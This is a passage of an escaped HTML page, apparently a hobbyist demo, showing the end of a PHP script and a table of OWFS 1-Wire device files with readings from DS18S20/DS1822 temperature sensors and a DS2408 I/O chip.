/&gt;}&lt;br /&gt;print&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"\n&amp;lt;/table&amp;gt;\n"&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;print&amp;nbsp;&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"&amp;lt;br&amp;nbsp;/&amp;gt;"&lt;/span&gt;&lt;span style="color: #007700"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;highlight_file&lt;/span&gt;&lt;span style="color: #007700"&gt;(&lt;/span&gt;&lt;span style="color: #0000BB"&gt;$docRoot&lt;/span&gt;&lt;span style="color: #007700"&gt;.&lt;/span&gt;&lt;span style="color: #DD0000"&gt;"/inc/index.txt"&lt;/span&gt;&lt;span style="color: #007700"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #0000BB"&gt;?&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;
&lt;/code&gt;
&lt;br /&gt;
&lt;table border="1" padding="4" &gt;
&lt;tr&gt;&lt;th&gt;Full Path&lt;/th&gt;&lt;th&gt;Device&lt;/th&gt;&lt;th&gt;File&lt;/th&gt;&lt;th&gt;File Contents&lt;/th&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;10.AF2551010800&lt;/td&gt;
&lt;td&gt;address&lt;/td&gt;
&lt;td&gt;
10AF255101080023
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;10.AF2551010800&lt;/td&gt;
&lt;td&gt;alias&lt;/td&gt;
&lt;td&gt;

&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;10.AF2551010800&lt;/td&gt;
&lt;td&gt;crc8&lt;/td&gt;
&lt;td&gt;
23
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;10.AF2551010800&lt;/td&gt;
&lt;td&gt;errata&lt;/td&gt;
&lt;td&gt;

&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;10.AF2551010800&lt;/td&gt;
&lt;td&gt;family&lt;/td&gt;
&lt;td&gt;
10
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;10.AF2551010800&lt;/td&gt;
&lt;td&gt;id&lt;/td&gt;
&lt;td&gt;
AF2551010800
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;10.AF2551010800&lt;/td&gt;
&lt;td&gt;locator&lt;/td&gt;
&lt;td&gt;
FFFFFFFFFFFFFFFF
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;10.AF2551010800&lt;/td&gt;
&lt;td&gt;power&lt;/td&gt;
&lt;td&gt;
0
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;10.AF2551010800&lt;/td&gt;
&lt;td&gt;present&lt;/td&gt;
&lt;td&gt;
1
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;10.AF2551010800&lt;/td&gt;
&lt;td&gt;r_address&lt;/td&gt;
&lt;td&gt;
230008015125AF10
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;10.AF2551010800&lt;/td&gt;
&lt;td&gt;r_id&lt;/td&gt;
&lt;td&gt;
0008015125AF
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;10.AF2551010800&lt;/td&gt;
&lt;td&gt;r_locator&lt;/td&gt;
&lt;td&gt;
FFFFFFFFFFFFFFFF
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;10.AF2551010800&lt;/td&gt;
&lt;td&gt;temperature&lt;/td&gt;
&lt;td&gt;
     39.9875
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;10.AF2551010800&lt;/td&gt;
&lt;td&gt;temphigh&lt;/td&gt;
&lt;td&gt;
         167
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;10.AF2551010800&lt;/td&gt;
&lt;td&gt;templow&lt;/td&gt;
&lt;td&gt;
         158
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;10.AF2551010800&lt;/td&gt;
&lt;td&gt;type&lt;/td&gt;
&lt;td&gt;
&lt;a target="_blank" href="http://www.owfs.org/uploads/DS18S20.html"&gt;DS18S20&lt;/a&gt;
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;10.AF2551010800&lt;/td&gt;
&lt;td&gt;.&lt;/td&gt;
&lt;td&gt;

&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;10.AF2551010800&lt;/td&gt;
&lt;td&gt;..&lt;/td&gt;
&lt;td&gt;

&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.20F21A000000&lt;/td&gt;
&lt;td&gt;address&lt;/td&gt;
&lt;td&gt;
2220F21A00000025
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.20F21A000000&lt;/td&gt;
&lt;td&gt;alias&lt;/td&gt;
&lt;td&gt;

&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.20F21A000000&lt;/td&gt;
&lt;td&gt;crc8&lt;/td&gt;
&lt;td&gt;
25
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.20F21A000000&lt;/td&gt;
&lt;td&gt;errata&lt;/td&gt;
&lt;td&gt;

&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.20F21A000000&lt;/td&gt;
&lt;td&gt;family&lt;/td&gt;
&lt;td&gt;
22
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.20F21A000000&lt;/td&gt;
&lt;td&gt;fasttemp&lt;/td&gt;
&lt;td&gt;
        62.6
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.20F21A000000&lt;/td&gt;
&lt;td&gt;id&lt;/td&gt;
&lt;td&gt;
20F21A000000
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.20F21A000000&lt;/td&gt;
&lt;td&gt;locator&lt;/td&gt;
&lt;td&gt;
FFFFFFFFFFFFFFFF
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.20F21A000000&lt;/td&gt;
&lt;td&gt;power&lt;/td&gt;
&lt;td&gt;
1
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.20F21A000000&lt;/td&gt;
&lt;td&gt;present&lt;/td&gt;
&lt;td&gt;
1
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.20F21A000000&lt;/td&gt;
&lt;td&gt;r_address&lt;/td&gt;
&lt;td&gt;
250000001AF22022
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.20F21A000000&lt;/td&gt;
&lt;td&gt;r_id&lt;/td&gt;
&lt;td&gt;
0000001AF220
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.20F21A000000&lt;/td&gt;
&lt;td&gt;r_locator&lt;/td&gt;
&lt;td&gt;
FFFFFFFFFFFFFFFF
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.20F21A000000&lt;/td&gt;
&lt;td&gt;temperature&lt;/td&gt;
&lt;td&gt;
      63.275
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.20F21A000000&lt;/td&gt;
&lt;td&gt;temperature10&lt;/td&gt;
&lt;td&gt;
       63.05
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.20F21A000000&lt;/td&gt;
&lt;td&gt;temperature11&lt;/td&gt;
&lt;td&gt;
        63.5
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.20F21A000000&lt;/td&gt;
&lt;td&gt;temperature12&lt;/td&gt;
&lt;td&gt;
      63.275
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.20F21A000000&lt;/td&gt;
&lt;td&gt;temperature9&lt;/td&gt;
&lt;td&gt;
        62.6
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.20F21A000000&lt;/td&gt;
&lt;td&gt;temphigh&lt;/td&gt;
&lt;td&gt;
         167
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.20F21A000000&lt;/td&gt;
&lt;td&gt;templow&lt;/td&gt;
&lt;td&gt;
         158
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.20F21A000000&lt;/td&gt;
&lt;td&gt;type&lt;/td&gt;
&lt;td&gt;
&lt;a target="_blank" href="http://www.owfs.org/uploads/DS1822.html"&gt;DS1822&lt;/a&gt;
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.20F21A000000&lt;/td&gt;
&lt;td&gt;.&lt;/td&gt;
&lt;td&gt;

&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.20F21A000000&lt;/td&gt;
&lt;td&gt;..&lt;/td&gt;
&lt;td&gt;

&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.650E1B000000&lt;/td&gt;
&lt;td&gt;address&lt;/td&gt;
&lt;td&gt;
22650E1B000000B3
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.650E1B000000&lt;/td&gt;
&lt;td&gt;alias&lt;/td&gt;
&lt;td&gt;

&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.650E1B000000&lt;/td&gt;
&lt;td&gt;crc8&lt;/td&gt;
&lt;td&gt;
B3
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.650E1B000000&lt;/td&gt;
&lt;td&gt;errata&lt;/td&gt;
&lt;td&gt;

&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.650E1B000000&lt;/td&gt;
&lt;td&gt;family&lt;/td&gt;
&lt;td&gt;
22
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.650E1B000000&lt;/td&gt;
&lt;td&gt;fasttemp&lt;/td&gt;
&lt;td&gt;
        45.5
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.650E1B000000&lt;/td&gt;
&lt;td&gt;id&lt;/td&gt;
&lt;td&gt;
650E1B000000
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.650E1B000000&lt;/td&gt;
&lt;td&gt;locator&lt;/td&gt;
&lt;td&gt;
FFFFFFFFFFFFFFFF
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.650E1B000000&lt;/td&gt;
&lt;td&gt;power&lt;/td&gt;
&lt;td&gt;
1
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.650E1B000000&lt;/td&gt;
&lt;td&gt;present&lt;/td&gt;
&lt;td&gt;
1
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.650E1B000000&lt;/td&gt;
&lt;td&gt;r_address&lt;/td&gt;
&lt;td&gt;
B30000001B0E6522
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.650E1B000000&lt;/td&gt;
&lt;td&gt;r_id&lt;/td&gt;
&lt;td&gt;
0000001B0E65
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.650E1B000000&lt;/td&gt;
&lt;td&gt;r_locator&lt;/td&gt;
&lt;td&gt;
FFFFFFFFFFFFFFFF
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.650E1B000000&lt;/td&gt;
&lt;td&gt;temperature&lt;/td&gt;
&lt;td&gt;
     45.3875
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.650E1B000000&lt;/td&gt;
&lt;td&gt;temperature10&lt;/td&gt;
&lt;td&gt;
        45.5
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.650E1B000000&lt;/td&gt;
&lt;td&gt;temperature11&lt;/td&gt;
&lt;td&gt;
        45.5
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.650E1B000000&lt;/td&gt;
&lt;td&gt;temperature12&lt;/td&gt;
&lt;td&gt;
     45.3875
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.650E1B000000&lt;/td&gt;
&lt;td&gt;temperature9&lt;/td&gt;
&lt;td&gt;
        45.5
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.650E1B000000&lt;/td&gt;
&lt;td&gt;temphigh&lt;/td&gt;
&lt;td&gt;
         167
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.650E1B000000&lt;/td&gt;
&lt;td&gt;templow&lt;/td&gt;
&lt;td&gt;
         158
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.650E1B000000&lt;/td&gt;
&lt;td&gt;type&lt;/td&gt;
&lt;td&gt;
&lt;a target="_blank" href="http://www.owfs.org/uploads/DS1822.html"&gt;DS1822&lt;/a&gt;
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.650E1B000000&lt;/td&gt;
&lt;td&gt;.&lt;/td&gt;
&lt;td&gt;

&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;22.650E1B000000&lt;/td&gt;
&lt;td&gt;..&lt;/td&gt;
&lt;td&gt;

&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;LCD_H&lt;/td&gt;
&lt;td&gt;

&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;LCD_M&lt;/td&gt;
&lt;td&gt;

&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;PIO.BYTE&lt;/td&gt;
&lt;td&gt;
           0
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;PIO.ALL&lt;/td&gt;
&lt;td&gt;
0,0,0,0,0,0,0,0
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;PIO.0&lt;/td&gt;
&lt;td&gt;
0
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;PIO.1&lt;/td&gt;
&lt;td&gt;
0
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;PIO.2&lt;/td&gt;
&lt;td&gt;
0
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;PIO.3&lt;/td&gt;
&lt;td&gt;
0
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;PIO.4&lt;/td&gt;
&lt;td&gt;
0
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;PIO.5&lt;/td&gt;
&lt;td&gt;
0
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;PIO.6&lt;/td&gt;
&lt;td&gt;
0
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;PIO.7&lt;/td&gt;
&lt;td&gt;
0
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;address&lt;/td&gt;
&lt;td&gt;
29A29F090000005A
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;alias&lt;/td&gt;
&lt;td&gt;

&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;crc8&lt;/td&gt;
&lt;td&gt;
5A
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;family&lt;/td&gt;
&lt;td&gt;
29
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;id&lt;/td&gt;
&lt;td&gt;
A29F09000000
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;latch.BYTE&lt;/td&gt;
&lt;td&gt;
         255
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;latch.ALL&lt;/td&gt;
&lt;td&gt;
1,1,1,1,1,1,1,1
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;latch.0&lt;/td&gt;
&lt;td&gt;
1
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;latch.1&lt;/td&gt;
&lt;td&gt;
1
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;latch.2&lt;/td&gt;
&lt;td&gt;
1
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;latch.3&lt;/td&gt;
&lt;td&gt;
1
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;latch.4&lt;/td&gt;
&lt;td&gt;
1
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;latch.5&lt;/td&gt;
&lt;td&gt;
1
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;latch.6&lt;/td&gt;
&lt;td&gt;
1
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;latch.7&lt;/td&gt;
&lt;td&gt;
1
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;locator&lt;/td&gt;
&lt;td&gt;
FFFFFFFFFFFFFFFF
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;por&lt;/td&gt;
&lt;td&gt;
1
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;power&lt;/td&gt;
&lt;td&gt;
1
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;present&lt;/td&gt;
&lt;td&gt;
1
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;r_address&lt;/td&gt;
&lt;td&gt;
5A000000099FA229
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;r_id&lt;/td&gt;
&lt;td&gt;
000000099FA2
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;r_locator&lt;/td&gt;
&lt;td&gt;
FFFFFFFFFFFFFFFF
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;sensed.BYTE&lt;/td&gt;
&lt;td&gt;
         255
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;sensed.ALL&lt;/td&gt;
&lt;td&gt;
1,1,1,1,1,1,1,1
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;sensed.0&lt;/td&gt;
&lt;td&gt;
1
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;sensed.1&lt;/td&gt;
&lt;td&gt;
1
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;sensed.2&lt;/td&gt;
&lt;td&gt;
1
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;sensed.3&lt;/td&gt;
&lt;td&gt;
1
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;sensed.4&lt;/td&gt;
&lt;td&gt;
1
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;sensed.5&lt;/td&gt;
&lt;td&gt;
1
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;sensed.6&lt;/td&gt;
&lt;td&gt;
1
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;sensed.7&lt;/td&gt;
&lt;td&gt;
1
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;set_alarm&lt;/td&gt;
&lt;td&gt;
           0
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;strobe&lt;/td&gt;
&lt;td&gt;
0
&lt;/td&gt;&lt;/tr&gt;

&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;type&lt;/td&gt;
&lt;td&gt;
&lt;a target="_blank" href="http://www.owfs.org/uploads/DS2408.html"&gt;DS2408&lt;/a&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
